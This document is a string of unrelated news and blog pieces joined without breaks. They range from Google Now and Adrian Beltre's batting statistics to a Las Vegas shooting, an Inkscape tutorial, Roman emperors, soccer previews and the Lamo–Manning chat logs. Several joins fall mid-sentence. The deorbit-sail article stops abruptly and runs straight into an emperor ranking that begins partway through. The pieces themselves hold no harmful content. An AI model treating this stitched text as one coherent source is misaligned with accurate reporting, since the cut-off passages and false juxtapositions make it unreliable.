Meanwhile, Google boosted speech capabilities on mobile during the year. In July, it announced integrations of its voice command (“Okay, Google”) with a slew of apps, including Shazam and Facebook’s WhatsApp. The company is also looking to integrate some of these features into its Messenger app, which hasn’t been as widely adopted as Facebook’s Messenger app.
The Outlook for 2016
Today, Now works primarily on location — feeding information (weather, traffic) or suggestions (restaurants, hotel listings, events) to its users. If Google has its way, Now will keep on adding these integrations next year, finding ways to deliver more apps, app pages and — critically for Google — Google services based on other ways we use our phones. The product team will have to balance this expansion with the concerns of app developers, who are weary of relinquishing data to the search giant.
The team will also want to grow beyond Android, where most Now users are. This might prove difficult. Apple is paying more attention to Siri, building its capabilities alongside an intelligence layer, Proactive Assistant, akin to Google Now, and featuring it inside Apple TV. Siri has largely languished and Apple may be handicapped by its decision not to tap personal cloud data fully. Still, Siri could benefit from Apple’s usual advantage: An ability to keep iPhone owners locked in its world.
Microsoft’s Cortana is going up against Now, too. Another threat could come from Facebook, which plans to roll out its virtual assistant tool, M, inside its wildly popular Messenger app. (The Wall Street Journal reported that Google is cooking up a new messaging app that competes with Messenger and the M service. Google isn’t commenting.)
Next year, Google’s personal assistant will also elbow for room on the big platforms after smartphones, particularly the smart home and connected car. Here, Google has a tech edge over traditional manufacturers (the appliance and carmakers), but will need to outmatch Apple, with its home and car software hubs, and Amazon, with its Echo product.
Finally, there are a few startups that blossomed this year, like SoundHound and MindMeld, moving into the intelligence terrain. They feel they can outsmart the tech giants and, perhaps as critically, circumvent them.
MindMeld, which creates speech interaction tools for developers, recently inked a deal with Now partner Spotify. While Now users can conduct voice searches on Spotify, the MindMeld deal allows the streaming app to better tailor its voice experiences without moving through a looming middle man, said Tim Tuttle, the startup’s CEO.
If it is Spotify’s data, why cede it to Google? “They own all of the data that is necessary to power these intelligence systems,” Tuttle said. “No company that’s in the business of helping users find things ever wants to outsource that.”This is it. This is the year Adrian Beltre finally declines.
Yep, you heard it here first, folks. Adrian Beltre is donezo. I mean, come on — dude’s about to be 36 years old. He’s logged 10,001 plate appearances since he entered the league in 1998, a number topped by only Derek Jeter. His defense has declined significantly the past two seasons, no matter what metric you use. He only hit 19 dingers last year after averaging 32 over the previous four seasons. Clearly, all that wear and tear has taken its toll on Beltre. The jig is up! The fat lady has sung.
We don’t know everything about how baseball players age, but we know more than we ever have. We know that hitters generally peak around age 26 and are no longer what they once were by age 32. Beyond that, we know, to some extent, how specific components of a batter’s profile age. Walk rates don’t peak until a batter is in his late 20’s. Strikeout rates peak a bit earlier than the magic 26. And power peaks earlier than anything else, and also has the most dramatic decline.
And that makes sense, if you think about it. As a player gets older and his body wears down, is he more likely to lose bat speed and strength, or vision and discipline? Intuitively, we’d expect the former.
Which brings us to our subject. These numbers shouldn’t come as a surprise to you, but I’m about to list the last four years of Adrian Beltre’s isolated slugging percentages. Beside each number, I’ll name a player from the 2014 season with a similar ISO, for context:
Welp, that’s it. Stick a fork in him. A 36-year-old third baseman on a bad team with declining defense and the power of Brett Gardner? No thanks.
To be fair, Gardner is kind of a sneaky pick, given that his power boost over the last couple years is worthy of an article on its own. I could just as easily have picked Hanley Ramirez or Hunter Pence, who were right in the same spot, but you get the picture. Beltre’s power has declined, and it’s declined significantly. Over the last four seasons, in the power department, Beltre has gone from Giancarlo Stanton to Brett Gardner, all while playing in the hitter-friendly Ballpark in Arlington.
Yet, still, we have this:
2011: Age 32, 135 wRC+
Age 32, 135 wRC+ 2012: Age 33, 142 wRC+
Age 33, 142 wRC+ 2013: Age 34, 135 wRC+
Age 34, 135 wRC+ 2014: Age 35, 141 wRC+
I didn’t include player comps this time, but I might as well have just put (Adrian Beltre) four times. Because in terms of overall production, he hasn’t changed one bit. In fact, relative to the league average, he was a more productive hitter in 2014 with Brett Gardner power than he was in 2011 with Giancarlo power.
Which brings us to our question: What the hell? How is Adrian Beltre defying Father Time? Age is taking its toll on Beltre’s power. It’s taking its toll on Beltre’s athleticism. It might be taking its toll on Beltre’s health. So why isn’t it taking its toll on his production?
Split Beltre’s four seasons in Texas into two halves and this is what you see:
Name PA AVG OBP SLG ISO BABIP K% BB% HR wRC+ Adrian Beltre, 2011-12 1,179.310.347.561.251.298 12% 5% 68 139 Adrian Beltre, 2013-14 1,304.319.379.501.181.333 12% 8% 49 138
We’ve talked about the power, and you can see it right there. A 70-point drop in ISO is a big drop! But so is a 30-point increase in on-base percentage. As Beltre has aged, he’s dealt with his declining power in the best way he can — by just getting on base.
Beltre’s walked more often. That’s the easy one. His walk rate last season was the highest its been in 14 years. He’s swinging less than ever, and, specifically, he’s chasing less than ever. Boom. Increased walk rate. It’s that easy! But a 3% increase in walks doesn’t fully explain a 30-point increase in OBP. No, that’s also got to do with what’s happening when Beltre puts the ball in play.
I think I’m more of a believer in a hitter’s BABIP being a skill than most. Last week, I wrote about Starling Marte and his quest for the perfect batted ball profile. Marte has been able to sustain an exceptionally high BABIP, and I cited his line drive rate, pop up rate, and speed as reasons why. I found that these three factors alone can explain more than 50% of a players batting average on balls in play. Beltre was never fast, and he’s only getting slower as he ages, but we’ve still got a couple places left to look to potentially explain Beltre’s 30-point boost in BABIP the last two years.
Start with the line drive rate, and you see something. Prior to Texas, 19% of Beltre’s batted balls were line drives. Those first two years in Texas, 19% of Beltre’s batted balls were line drives. These most recent two years, 22% of Beltre’s batted balls have been line drives.
Line drive rates can be subject to year-to-year fluctuation, but Beltre was one thing throughout his career, and now he’s something different. Couple that with a career-low fly ball rate, and you get the sense of a slightly altered swing. I’m not an expert on swing mechanics, so that’s just a guess, but it would be an understandable change for a guy with declining strength and bat speed — a flatter swing, aimed to spray the ball rather than an uppercut aimed to rely on the long ball.
If that is indeed the case, it’s paying off in another area, and it’s a big one. This graph should do the trick. Beltre’s rate of infield flies, since we started logging batted ball data in 2002:
Early in Beltre’s career, he popped up quite a bit. Once he hit his peak, he hovered right around the league average from 2008-12. In 2013, he dropped his infield fly rate by three percentage points, and that was the 17th-biggest improvement among qualified hitters. Then, in 2014, he dropped his infield fly rate another seven percentage points, and that was the 3rd-biggest improvement among qualified hitters. Beltre only hit four infield flies in 614 plate appearances last year. He used to hit upwards of 20 a season.
Infield flies are the equivalent of strikeouts, in that they’re essentially a guaranteed out. Not only has Beltre maintained his already-elite strikeout rate over the years, but he’s significantly dropped his “guaranteed out” rate by not popping out anymore. Take those 20 or so missing pop-ups and call them strikeouts, add them to Beltre’s 2014 and you’d get a 3% boost in strikeout rate. That’s something we’d notice. Instead, what used to be pop-ups are now regular balls in play, and as we’ve already discussed, those balls in play are now line drives more often than they’ve ever been before.
Line drives are good. Never popping out is good. Walks are good. Adrian Beltre is good. Hitters dingers is good, too, but it’s not the only way to succeed. He’s still an easy candidate for 20+ homers, but this is how Adrian Beltre continues to excel without all the power he once had. This is how Adrian Beltre continues to defy Father Time.OCT. 25 UPDATE: The Clark County Coroner identified the victim of the fatal shooting as 52-year-old Suli Ji from Chino Hills, California.
13 Action News spoke with his wife, Ying Du Ji Tuesday night.
"I can't accept the fact that my little boy will never get to know his father," she said.
The couple has a two-year-old son together.
"My life is totally destroyed by this criminal," said Ji.
Ji owned a travel agency with his wife.
He was in the middle of a 10-day tour, from San Francisco to San Diego, when he was gunned down.
"Everybody miss him, everybody," said friend Winter Lin.
Well over a hundred people gathered at the site of the crime to pay their respects.
"He always take care of me and teach me a lot of things," said Lin, "he always want to share his American life experience to people who come from China."
Family members said Ji was dedicated to his family. He worked hard to obtain the American dream for his son.
"I really need help to accept that this is real," said his wife.
Ji said she's speaking out now because she doesn't want this to happen to another family.
"I wonder why bad guys have guns, why?" she said.
ORIGINAL STORY
LAS VEGAS (KTNV) -- A man is dead after a shooting on the Las Vegas Strip early Saturday morning.
Las Vegas Metro Police say they received a call about a person shot near the employee parking garage for Caesars Palace around 11:25 Friday night. Arriving officers located an adult male near a van outside the garage with multiple apparent gunshot wounds. The victim was pronounced dead at the scene.
Witnesses saw the suspect fleeing to the second floor of the parking garage. Officers located the suspect, identified as 27-year-old Charles Smith of Las Vegas, and arrested him on one count of murder.
An investigation by the Las Vegas Metropolitan Police Department indicated that the shooting took place inside the van. The vehicle was also parked for several hours before the incident took place.
Anyone with information about the shooting is urged to contact the LVMPD Homicide Section at 702-828-3521. To remain anonymous, call Crime Stoppers at 702-385-5555.Jesse Thistle, a master's history graduate from the University of Waterloo, was named this summer as a Trudeau scholar, one of the most prestigious academic awards in Canada. It was a huge honour for Thistle, who had previously been homeless and struggled with addiction for more than a decade.
The doctoral scholarships are awarded by the Pierre Elliott Trudeau Foundation. Recipients get $60,000 a year for their studies, as well as help from mentors and opportunities to collaborate with other mentors, fellows and scholars. 15 scholarships were awarded for 2016 out of 208 applications.
"Once I won the Trudeau, I went, "Oh, my life is going to change now,'" said Thistle.
He's already come a long way.
I just knew I had Native in me, and I didn't know what that meant. - Jesse Thistle
A lost heritage
Thistle was born in the Park Valley Road Allowance Métis community in Saskatchewan. After the Red River Rebellion, Metis people ended up squatting on road allowance land set aside by the Crown to build highways, because they had no where else to go.
Thistle's father and mother separated whe he was three. Thistle's father took him and his brothers, Josh and Jared, to Toronto.
But life didn't improve. Thistle's father was struggling with addictions of his own, and his sons were taken away. The three boys ended up with their grandparents.
"They raised me all the way up until I was 17, but we never really talked about, or I never really understood my culture at all," said Thistle. "I just knew I had Native in me, and I didn't know what that meant."
Thistle said his confusion led to resentment and self-medication, and his grandparents kicked him out.
"I continued down that road until I became homeless," he said. "I was around 21 when that first started."
He was homeless... in and out of jail, and addicted to drugs. But these days - perseverance is paying off for Jesse Thistle. He's celebrating his graduation from York University. Nil Koksal introduces us. 3:08
Finding his path
Thistle was on and off the streets for the next decade, but it wasn't until he fell off a roof in 2005 that he got his first chance at changing his life.
Thistle shattered his foot in the fall and it became infected.
"To find a safe place to stay so I wouldn't lose my leg, and so I could have medication, I robbed a store," he said. "I ended up in jail looking at some serious time."
The judge in his case recognized Thistle's anger, and offered him an opportunity to receive treatment.
Thistle remembers him saying, "At best you're just a desperate drug addict with nowhere to go and you're afraid for your life. So I'm going to offer you an opportunity."
Thistle began researching his Métis/Cree roots to make sense of his family history. (Supplied) "I knew it was a crux in the road," said Thistle, who went to treatment. "But I continued to relapse."
A home to heal
Around two years passed, and Thistle found himself in Ottawa, and again in serious trouble. The opportunity to fix his life came again, in the form of a rehab centre called Harvest House.
"I finally got it right in June 2008," he recalls.
From Harvest House, Thistle went to Carleton University and took bridging courses to complete his education.
In the meantime, his grandmother was battling leukemia in Brampton, and Thistle saw her again after years of lost contact. Her message to him is something that has stuck with him to this day.
"She asked me why I was acting like an idiot. She said, 'I know you have it in you to change your life and do something,'" he said. "'Why don't you go to university? You've got to finish and you've got to do your best.'"
Thistle agreed. Two weeks later his grandmother passed away.
"From that has come everything," he said.
Learning about himself
Thistle went on to complete a bachelor's degree at Carleton, and then to his master's at the University of Waterloo. In the fall he will start his PhD at York University in Toronto.
"I found my identity as an Indigenous person at university. That has anchored me, given me purpose. I know who I am and I know where I fit into the narrative of this country," said Thistle.
Thistle's studies have focused on trauma and memory within the Métis and Cree people of Western Canada. In other words, his own story.
"I know who my family are and I'm proud of that," he said.
His history compelled him to study, and it is something he hopes that other Indigenous youth can do for themselves.
"A lot of them are like me. They've been dislocated from their kinship networks, their communities, their nations, their people. When you're taken from your family like that, you lose your identity as an Indigenous person," he said.
I know who I am and I know where I fit into the narrative of this country. - Jesse Thistle
"I want to help other people who are suffering from intergenerational trauma like I am, [to explain] why all the chaos that they see around them happens."
With the mentorship, support, and credibility that come with a Trudeau scholarship — not to mention $60,000 a year in funding for his research — Thistle is looking to keep the promise to his grandmother.
"As a professor I want to teach history, and I want to write books to reach broader audiences, to reframe the way we look at ourselves as Canadians," he said.
"Keeping the promise to my grandmother, that safeguards me. I'm proud of myself," he said. "I'm proud I kept my word."Inkscape is a popular, full-featured, free and open source vector graphics editor available in the official Fedora repositories. It’s specifically tailored for creating vector graphics in the SVG format. Inkscape is great for creating and manipulating pictures and illustrations. It’s also good for creating diagrams, and user interface mockups.
The screenshots page on the official website has some great examples of what can be done with Inkscape. The majority of the featured images here on the Fedora Magazine are also created using Inkscape, including this recent featured image:
Installing Inkscape on Fedora
Inkscape is available in the official Fedora repositories, so it’s super easy to install using the Software app in Fedora Workstation:
Alternatively, if you are comfortable with the command line, you can install using the following
dnf
command:
sudo dnf install inkscape
Dive into Inkscape (getting started)
When opening the app for the first time, you are greeted with a blank page, and a bunch of different toolbars. For beginners, the three most important of these toolbars are the Toolbar, the Tools Control Bar, and the Colour Palette:
The Toolbar provides all the basic tools for creating drawings, including tools such as:
The rectangle tool, for drawing rectangles and squares
The star / polygon (shapes) tool
The circle tool, for drawing ellipses and circles
The text tool, for adding labels and other text
The path tool, for creating or editing more complex or customized shapes
The select tool for selecting objects in your drawing
The Colour Palette provides a quick way to set the colour of the currently selected object. The Tools Control Bar provides all the settings for the currently selected tool in the Toolbar. Each time you select a new tool, the Tools Control Bar will update with the settings for that tool:
Drawing shapes
Next, let’s draw a star with Inkscape. First, choose the star tool from the Toolbar, and click and drag on the main drawing area.
You’ll probably notice your star looks a lot like a triangle. To change this, play with the Corners option in the Tools Control Bar, and add a few more points. Finally, when you’re done, with the star still selected choose a colour from the Palette to change the colour of your star:
Next, experiment with some of the other shapes tools in the Toolbar, such as the rectangle tool, the spiral tool and the circle tool. Also play around with some of the settings for each tool to create a bunch of unique shapes.
Selecting and moving objects in your drawing
Now you have a bunch of shapes, and can use the Select tool to move them around. To use the select tool, first select it from the toolbar, and then click on the shape you want to manipulate. Then click and drag the shape to where you want it to be.
When a shape is selected, you can also use the resize handles to scale the shape. Additionally, if you click on a shape that is selected, the resize handles change to rotate mode, allowing you to spin your shape:
Inkscape is an awesome piece of software that is packed with many more tools and features. In the next articles in this series, we will cover more of the features and options you can use to create awesome illustrations and documents.Sailing satellites into safe retirement
Gossamer deorbit sail
When satellites reach the end of their working lives, they may pose a threat to other spacecraft as they continue to orbit in a dormant state for many decades. But now a new way to deorbit ageing satellites in a safe manner is nearing its first test in space.
In the future, satellites might carry a packaged ultra-lightweight ‘gossamer sail’ to open as they head towards retirement. The increased aerodynamic drag would pull the craft out of orbit to burn up in the high atmosphere, reducing the risk of catastrophic collisions and creating a sustainable space environment for future generations.
At launch, the Gossamer Deorbit Sail is extremely compact, occupying 15x15x25 cm and weighing only 2 kg. It would expand in minutes to 5x5 m – enough to bring down a satellite of up to 700 kg.
A frame of extremely lightweight carbon-fibre booms supports a sail of aluminised Kapton only a few thousandths of a millimetre thick – a fraction of the diameter of human hair.
The sail was developed at the University of Surrey’s Space Centre, funded through ESA’s Advanced |
(April 121 AD – 17 March 180 AD)
Considered as the last of the five good emperors, and one of the most stoic philosophers, Marcus Aurelius ruled the Roman Empire from 161 to 180. During his reign, the Empire defeated a revitalized Parthian Empire in the East, in central Europe, he fought the Marcomanni, Quadi, and Sarmatians with success during the Marcomannic Wars, with the threat of the Germanic tribes beginning to represent a troubling reality for the Empire. A possible revolt in the East led by Avidius Cassius might have caused serious issues if it had gained momentum, but Aurelius suppressed it immediately.
A remarkable philosopher and writer, Marcus Aurelius’ Stoic tome Meditations, written in Greek while on campaign between 170 and 180, is still revered as a literary monument to a philosophy of service and duty, describing how to find and preserve equanimity in the midst of conflict by following nature as a source of guidance and inspiration. Marcus Aurelius acquired the reputation of a philosopher king within his lifetime, and the title would remain after his death; both Dio and the biographer call him “the philosopher”.
2. Trajan ( September 53 AD – 8 August 117 AD)
Famously declared by the senate as the best ruler, optimus princeps which means “the best ruler”, he ruled the ancient Rome from 98 AD until he took his last breathe. Trajan is one of Rome’s most outstanding emperors. Under his rule, the empire reached its largest extent. He was remembered as a successful soldier-emperor who presided over the greatest military expansion in Roman history, leading the empire to attain its maximum territorial extent by the time of his death. He was respected by the common people, senate and the military alike, having made his name for his philanthropic rule that oversaw extensive public building programs and welfare policies.
As an emperor, Trajan’s reputation has endured — he was one of the few rulers whose reputation has survived nineteen centuries. In the 18th century historian Edward Gibbon’s popularized notion of ‘Five Good Emperors’; Trajan was second. Every new emperor after him was honored by the Senate with the wish felicior Augusto, melior Traiano which meant “be luckier than Augustus and better than Trajan”.
1. Augustus ( September 63 BC – 19 August 14 AD)
At the top of the list is a very obvious choice – the founder of Roman empire himself, Augustus who has the longest reign of 41 years starting from 27 BC to 14 AD. Born by the name of Octavian, he was given the name ‘Augustus’ by the senate as an honour for his great achievements. He went on to avenge the death of Caesar together with Mark Antony, before falling out with him. He defeated Mark Antony together with the famous Egyptian queen Cleopatra and thereafter, together with the senate of Rome, created a new constitution for the great empire.
The reign of Augustus initiated an era of relative peace that was known as Pax Romana or The Roman Peace. Yes, there were several wars at Roman frontiers for expansion and a year long civil war too, but after the succession of Augustus into the throne, the Roman world was free of any large scale warfare for more than two centuries. Augustus stood at the head of this empire as the emperor. He used his ruled wisely and built roads, aqueducts and buildings. Not only was Augustus the first, but he was most certainly one of the best emperors Rome ever had.
Final Conclusion:
Throughout its entire period, the Roman empire had a number of emperors who took over the rule. Many of them had a stable rule with considerably peaceful reign while at the time of crises, Rome also saw a single year with four emperors and another single year with none less than six emperors. And there were some rather infamous, in fact downright notorious ones such as Caligula and Nero whose reign led to biggest turmoils in the state. But all the emperors listed here had a minimum reign of 10 years each. They also had a significant contribution in expansion of Roman boundaries and also in representation of Roman culture. And one name that should not be missed is the famous statesman Julius Caesar. What he started by famously taking the state and senate in his hand led to a chain of sequences that made the rise of Roman empire possible.Luciano Acosta and D.C. United are 2-2-1 at RFK Stadium this season. (Jonathan Newton/The Washington Post)
Layers of white banners with black, block imprint smother nine faded-magenta rows in section 461 of RFK Stadium’s crusty upper deck.
Before the second half of every D.C. United home match begins, a military member peels away one sheet as part of an eight-month countdown to the team’s long-awaited departure from the East Capitol Street relic to Audi Field in Southwest Washington next year.
The current message: “12 MATCHES LEFT AT RFK STADIUM”.
The number refers to the regular season only and will expire Oct. 22 against the New York Red Bulls. If United plans to extend its stay into the MLS playoffs, it’s going to need to start making better use of the old building.
D.C. (3-4-2) will enter Saturday’s match against the Philadelphia Union (1-4-4) with seven of a possible 15 points at home (2-2-1), four goals scored and three scoreless performances.
[Soccer to watch on TV and live streams this weekend]
The skid began last fall with a 4-2 defeat to the visiting Montreal Impact in a first-round playoff and, after a slow start and then promising turn this spring, United regressed last weekend in a 1-0 home defeat to Montreal.
“We’ve got to get better at home,” defender Bobby Boswell said. “No excuses.”
Leaving RFK on a season-long sour note after a wealth of special moments over 21 years would leave a bad taste. Sentimentality aside, though, so would missing the playoffs because of missed opportunities at home.
“I’m a romantic, but not that romantic,” Coach Ben Olsen said Friday. “We need to win games at home. We’ve been fortunate enough to take a few points away from home to hang in there. Hopefully, our home performances will change.”
[Now that Chelsea has taken over the Premier League, the Champions League could be next]
Soccer’s formula is straightforward: Win at home and collect points here and there on the road. United has begun showing life away from RFK, drawing at New England at winning at Atlanta. The home campaign, though, has fallen flat: a 0-0 draw with Sporting Kansas City, shutout defeats to the Columbus Crew and Montreal, and victories over Philadelphia and New York City FC.
Saturday’s match falls in the middle of a three-game homestand. Afterward, D.C. will play seven of nine on the road.
Last year, United finished the regular season on a 6-0-3 run with 25 goals at RFK, including 16 over the last four matches.
“I’m not too alarmed,” Olsen said. “It hasn’t been a great start at home, but we’ve gone through stretches like this before. Turning our minds back to being the aggressors in every facet of the game in this building will help change things.”
At times last week, especially after falling behind in the 13th minute, United lacked ambition. Second-half adjustments and improvements failed to yield the equalizer.
Olsen expects to welcome back two regulars Saturday. Goalkeeper Bill Hamid trained all out this week after skipping one game as a precaution against aggravating a strained groin. Defender Steve Birnbaum passed concussion protocol after missing three matches and engaged in full workouts.
Also, striker Patrick Mullins might start for the first time since returning from injuring a hamstring in mid-March. He was a second-half sub the past two weeks. Sebastien Le Toux started three consecutive matches and scored twice.
Philadelphia will arrive after its first victory of the season, a 3-0 decision over the New York Red Bulls last weekend. Manassas native C.J. Sapong, a former Forest Park High School and James Madison University standout, recorded an 11-minute hat trick late in the match to raise his season total to seven, tying last year’s haul over 31 appearances.
He scored as a substitute against United last month, posting five shots in 31 minutes, and has started ever since.
“He’s an absolute handful. You’ve got to be ready to rumble,” Olsen said. “He’s strong and he’s relentless, but we’ve got some guys who can rumble too.”
United notes: Midfielder-defender Nick DeLeon underwent hernia surgery this week and will miss at least another month. He has already missed three games. … Defender Chris Korb is slated to return to the game-day roster for the first time since a knee injury in August 2015. … Midfielder Chris Durkin returned to training this week, but after a long stretch with the U.S. under-17 national team, he was given the weekend off and will not suit up for United or the second-division Richmond Kickers. … Referee: Chris Penso. … Game-time weather: 54 degrees, overcast, 11-mph wind.
********************
D.C. United vs. Philadelphia Union
Where: RFK Stadium.
When: Saturday at 7 p.m.
TV: NewsChannel 8.
Records: United 3-4-2, 11 points; Union 1-4-4, seven points.
D.C. probable starters: GK Bill Hamid; Ds Sean Franklin, Steve Birnbaum, Bobby Boswell, Taylor Kemp; MFs Lloyd Sam, Jared Jeffrey, Ian Harkes, Luciano Acosta, Lamar Neagle; F Patrick Mullins.
Philadelphia probable starters: GK Andre Blake; Ds Keegan Rosenberry, Oguchi Onyewu, Jack Elliott, Fabinho; MFs Chris Pontius, Haris Medunjanin, Roland Alberg, Alejandro Bedoya, Fabian Herbers; F C.J. Sapong.With rumours abound of Loic Remy’s destination once the season is over, combined with the jokes made earlier in the week about his first outing for his “new club” Arsenal (after being comprehensively controlled by Laurent Koscielny and Per Mertesacker whilst playing against Arsenal), Saturday’s performance against Cardiff certainly did nothing to quell those rumours. While ironically yesterday, Loic Remy was spotted at The Emirates watching Arsenal’s 1-0 win over West Brom.
The best player on the pitch, Remy was a key contributor in attack in Newcastle’s relatively problem-free 3-0 over Cardiff, including a nicely-taken goal in the 87th minute. Pouncing on a blocked Cheick Tiote shot, he passed into the net past an on-rushing David Marshall with an Theirry Henry-esque composure that would have got Arsenal fans drooling, and something they no doubt would like to see at their club next season.
Finishing with a Performance Score of 64 at the end of the game, it was his contribution at the end of the game which made it truly rocket. His previously-referenced goal three minutes from time was then added in the 90th minute, when some nice work from Dan Gosling saw him chip the ball back to Remy, where he headed it towards goal before Steven Taylor shoved it past the keeper, giving him a sort-of unintentional assist. But some good movement in the box prior to this made the header from Gosling’s cross a free one, and provided the obviously disgruntled Magpie fans a spot of joy as they saw local hero Taylor get on the scoresheet.
Remy also proved himself adept in a slightly different role to the one he often plays, as he sat more in the second-striker position, using his improved mobility to connect the midfield and the front-line. As you can see by his Action Areas (below), this worked quite nicely, as he was able to move between the lines as well as bother the Cardiff defence by moving further forward.
However, one might be slightly concerned about his relative ineffectiveness throughout the game, seen by his Performance Score rocketing post-87th minute. Whilst it is arguably a function of a team that has generally lost the will to play football with any desire, seeing as they’ve all been on the proverbial beach since February, there may be fears that the disinterest that he showed for some parts during his time at Marseille are creeping back into his game.
Nevertheless, a goal, an assist and a win for Remy, as he starts to think about arranging the removal lorries to come round as he departs for London once again. Remy has most certainly proven that he is too good to drop down to the Championship, with his 14 goals in 26 appearances providing notable reading, and so any failure of QPR in the playoffs will mean Remy will certainly be moving on in permanent fashion. But whether he can cut it in a top-four side or is more suited to a club like Newcastle is another question.Every company wants to be known as innovative. In today’s business environment, innovation is meant to be worn like a badge of honour, giving the organisation an unparalleled competitive advantage. It is believed that this innovation will bring about novel, unique, and inspiring products and services, driving sales that lead to sustained higher profit.
However, as much as innovation is revered and sought after, few companies actually achieve it. And even for those that do, sustaining innovation seems almost impossible.
How then can we tame the elusive beast that is innovation?
Let start by first understanding what innovation actually is…
Creativity As the Source
Leaders and managers who recognise the power of creative thinking and make the effort to familiarise themselves with the process of innovation need to first get comfortable with creativity.
Creativity, as a concept, is seen as the main source of innovation. Creativity is about thinking of new ideas that are different from existing solutions. Creative thinking involves using existing knowledge and talent to develop new ideas, by being prepared to see matters from a different perspective. Creative thinking enables us to acquire a better understanding of the situation we face and the problems we encounter. Innovation and inventions are outcomes based on creative thinking.
Raiders of the Lost Art
If creativity is the source of innovation, then it follows that to be innovative, all leaders need to do is get their teams to think creatively, right? Putting this into action, however, would be easier said than done. The fact is that most working professionals, especially in Asia, do not identify themselves as “creative”, nor do they believe they possess the capacity to think creatively.Business Travel, Vincent Iuzzolino, bodybuilder and kickboxer Jordan Matter
How does one top such an astoundingly successful project as “Dancers Among Us”?
That’s what photographer Jordan Matter asked himself after his collection of photos documenting dancers in everyday situations made it to the New York Times best-seller list and earned international media attention.
The answer, he found, was to capture more inspiring, physically gifted people displaying their talents in public. So he turned his attention to athletes.
“Even when athletes are not competing, they are living and breathing their passion,” Matter wrote on his website. “They playfully remind all of us to pursue our objectives tenaciously; to never give up and to keep striving for excellence, no matter what path we’ve chosen.”
Delivery Boy, Adam Crigler, competitive longboarder Jordan Matter
Waiting to Cross, Jackie Carlson, gymnast Jordan Matter
In his new ongoing series, “Athletes Among Us,” Matter brings the same whimsicality and joy that brought him acclaim in his “Dancers” series. But there are a few big differences between the projects. A key one comes from working with athletes, who are not quite as accustomed to the creative process. “Dancers are used to working in an artistic, collaborative environment. Athletes are used to pursuing a specific goal,” Matter said. “With the athletes, if you give them something they need to do, even if it’s very challenging, they’ll go after it and do it very well.”
Next, there’s coming up with ideas for photographs, which with a whole new group of subjects, presents a unique challenge for Matter. “With dancers, if you’re in a fix, you can say, ‘Why don’t you do an amazing split jump here?’ With athletes, they can’t do a split jump. What they do is very specific to their sport. It’s what makes it fun,” Matter said.
Of course, those very specific athletic skills can have amazing results, Matter said, like when he photographed gymnast Jackie Carlson hanging in a split from a streetlight. “She said it was terrifying. It was terrifying for me. I thought she was going to fall or we were going to get arrested,” he said.
Sunday Shopping, Erik Coleman, NFL free safety Jordan Matter
Light Reading, Jessica Sun, rhythmic gymnast Jordan Matter
Pool Party, members of the U.S. Olympic rowing team Jordan Matter
Many of the stunts Matter orchestrates are bound to attract police attention. Knowing that full well, Matter usually practices the shot he wants at another location in advance so when it comes time comes to make the actual photograph, he can get it done quickly.
Matter said he’s more concerned about missing his shot than getting in trouble with the authorities. “My general feeling is it’s better to ask forgiveness than permission,” Matter said. “I’m not doing anything that is in anyway dangerous to others. I don’t feel bad about it. If they ask me to stop, I’ll stop,” Matter said.
Though the series is still in its infancy, Matter has already photographed athletes in New York, Chicago, and San Francisco. He’s captured members of the U.S. Olympic rowing team, NFL stars, and competitive longboarders. But Matter is looking for more athletes to photograph. Contact Matter if you are interested in being featured in his series.
Big Winner, Cassie Wolff, Philadelphia 76ers cheerleader Jordan Matter
Valentine’s Day, Erik Coleman, NFL free safety Jordan Matter
Crossing Guard, Meagan Heam, high school goalie Jordan MatterThe first suspicious moment in the chats between Adrian Lamo and Bradley Manning occurred at 12:54 on May 22–ostensibly the second day of chat communication between them (though Manning had sent Lamo encrypted emails for an unspecified period of time before that point). The BoingBoing version of the logs shows that Manning had just referenced 260,000 cables that, he went on to say, would give Hillary Clinton and other diplomats a heart attack when they were released. The chat was seemingly plagued by 3 minute delays in message transmission, with Lamo’s side reporting resource issues. Lamo tells Manning he’s going for a cigarette–“brb”–but that he should “keep typing.”
(12:54:47 PM) Adrian: What sort of content?
(12:56:36 PM) Adrian: brb cigarette
(12:56:43 PM) Adrian: keep typing <3
It is over 45 minutes before Lamo returns from his “cigarette” at 1:43:51. In the meantime, Manning did as he was told, typing out agonized confessions about how isolated he was. After Lamo returned from his “cigarette,” all the resource issues appear to be fixed and the delay in transmission appears to be gone, with response time in the 9 to 20 second range. It seems likely that Lamo did something other than smoke a cigarette in those 45 minutes. It appears he altered something technical on his side of the chat, chats that Lamo had directed Manning to use instead of encrypted emails.
Upon returning, Lamo immediately reverts back to Manning’s comment just after he left for his “cigarette,” picking up on the reference to diplomatic scandals. Using that as a segue, Lamo asks Manning to prove his bona fides:
(1:43:51 PM) Lamo: back
(1:43:59 PM) Manning: im self medicating like crazy when im not toiling in the supply office (my new location, since im being discharged, im not offically intel anymore)
(1:44:11 PM) Manning: you missed a lot…
(1:45:00 PM) Lamo: what kind of scandal?
(1:45:16 PM) Manning: hundreds of them
(1:45:40 PM) Lamo: like what? I’m genuinely curious about details.
(1:46:01 PM) Manning: i dont know… theres so many… i dont have the original material anymore
(1:46:26 PM) Lamo: play it by ear
(1:46:29 PM) Manning: the broiling one in Germany
(1:47:36 PM) Manning: im sorry, there’s so many… its impossible for any one human to read all quarter-million… and not feel overwhelmed… and possibly desensitized
(1:48:20 PM) Manning: the scope is so broad… and yet the depth so rich
(1:48:50 PM) Lamo: give me some bona fides … yanno? any specifics.
So Manning mentions the cables, Lamo leaves and fixes technical issues on the chat, and Lamo returns to demand specifics about what the 260,000 cables include.
Over the course of that allegedly first substantial conversation, Lamo’s attitude towards Wikileaks varies. He first asks a generic question.
(12:46:17 PM) Adrian: how long have you helped WIkileaks?
He then makes what–from the context of the logs thus far released, at least–appears to be an unsupported insinuation (and one that, given current reports about the Administration’s prosecution strategy, is a critical issue): that Manning “answers to” Julian Assange.
(1:51:14 PM) Lamo: Anything unreleased?
(1:51:25 PM) Manning: i’d have to ask assange
(1:51:53 PM) Manning: i zerofilled the original
(1:51:54 PM) Lamo: why do you answer to him?
(1:52:29 PM) Manning: i dont… i just want the material out there… i dont want to be a part of it
So, in spite of the fact that just two days before this exchange, Lamo had solicited donations for Wikileaks, he still suggested it was a problem if Manning “answered to Julian Assange.”
Lamo then immediately presses a point he would return to numerous times in their chats–a probe about their operational security.
(1:52:54 PM) Adrian: i’ve been considering helping wikileaks with opsec
(1:53:13 PM) bradass87: they have decent opsec… im obviously violating it
